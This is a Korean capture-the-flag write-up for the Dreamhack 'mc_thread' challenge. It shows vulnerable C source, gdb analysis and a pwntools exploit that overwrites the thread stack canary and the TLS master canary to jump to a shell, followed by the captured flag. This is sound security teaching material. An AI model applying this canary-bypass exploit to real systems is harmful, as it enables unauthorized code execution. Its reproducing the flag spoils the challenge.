// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_bytes (char *buf, int len) {
int idx = 0;
int read_len = 0;
for (idx = 0; idx < len; idx++) {
int ret;
ret = read(0, buf+idx, 1);
if (ret < 0) {
return read_len;
}
read_len ++;
}
return read_len;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
//read(0, buf, size);
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
❯ checksec mc_thread
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/mc_thread'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Canary와 NX 방어 기법이 걸려있습니다.
환경: ubuntu 18.04
먼저 버퍼와 카나리 거리 차를 구해보면
gef➤ disas thread_routine
Dump of assembler code for function thread_routine:
0x000000000040093f <+0>: push rbp
0x0000000000400940 <+1>: mov rbp,rsp
0x0000000000400943 <+4>: sub rsp,0x120
0x000000000040094a <+11>: mov rax,QWORD PTR fs:0x28
0x0000000000400953 <+20>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400957 <+24>: xor eax,eax
0x0000000000400959 <+26>: mov DWORD PTR [rbp-0x114],0x0
0x0000000000400963 <+36>: lea rdi,[rip+0x182] # 0x400aec
0x000000000040096a <+43>: mov eax,0x0
0x000000000040096f <+48>: call 0x400710 <printf@plt>
0x0000000000400974 <+53>: lea rax,[rbp-0x114]
0x000000000040097b <+60>: mov rsi,rax
0x000000000040097e <+63>: lea rdi,[rip+0x16e] # 0x400af3
0x0000000000400985 <+70>: mov eax,0x0
0x000000000040098a <+75>: call 0x400770 <__isoc99_scanf@plt>
0x000000000040098f <+80>: lea rdi,[rip+0x160] # 0x400af6
0x0000000000400996 <+87>: mov eax,0x0
0x000000000040099b <+92>: call 0x400710 <printf@plt>
0x00000000004009a0 <+97>: mov edx,DWORD PTR [rbp-0x114]
0x00000000004009a6 <+103>: lea rax,[rbp-0x110]
0x00000000004009ad <+110>: mov esi,edx
0x00000000004009af <+112>: mov rdi,rax
0x00000000004009b2 <+115>: call 0x4008d7 <read_bytes>
0x00000000004009b7 <+120>: nop
0x00000000004009b8 <+121>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004009bc <+125>: xor rax,QWORD PTR fs:0x28
0x00000000004009c5 <+134>: je 0x4009cc <thread_routine+141>
0x00000000004009c7 <+136>: call 0x400700 <__stack_chk_fail@plt>
0x00000000004009cc <+141>: leave
0x00000000004009cd <+142>: ret
End of assembler dump.
gef➤ b * 0x000000000040099b
Breakpoint 1 at 0x40099b
gef➤ r
Starting program: /root/mc_thread
warning: Error disabling address space randomization: Operation not permitted
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffe2ffec000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fb75d8b6700 (LWP 526)]
Size: 100
[Switching to Thread 0x7fb75d8b6700 (LWP 526)]
gef➤ x/x $rbp-0x110
0x7fb75d8b5de0: 0x00000000
gef➤ $ ($fs_base+0x28)-0x7fb75d8b5de0
2376
0x948
0b100101001000
b'\tH'
b'H\t'
거리차는 0x948 입니다.
from pwn import *
p = remote("host3.dreamhack.games", 22524)
elf = ELF('./mc_thread')
giveshell = elf.symbols['giveshell']
payload = b"A"*264 # buffer
payload += b"A"*8 # canary
payload += b"B"*8 # SFP
payload += p64(giveshell) # RET
payload += b"A"*(0x948-len(payload))
payload += p64(0x4141414141414141) # master canary
inp_sz = len(payload)
p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)
p.interactive()
익스플로잇 코드를 실행시켜보면
❯ python3 exploit.py
[+] Opening connection to host3.dreamhack.games on port 22524: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/mc_thread'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
$
쉘이 뜹니다.
flag를 출력해보면
$ ls
flag
mc_thread
$ cat flag
DH{7a8a433f0b4738471fc40dca9d2d9831}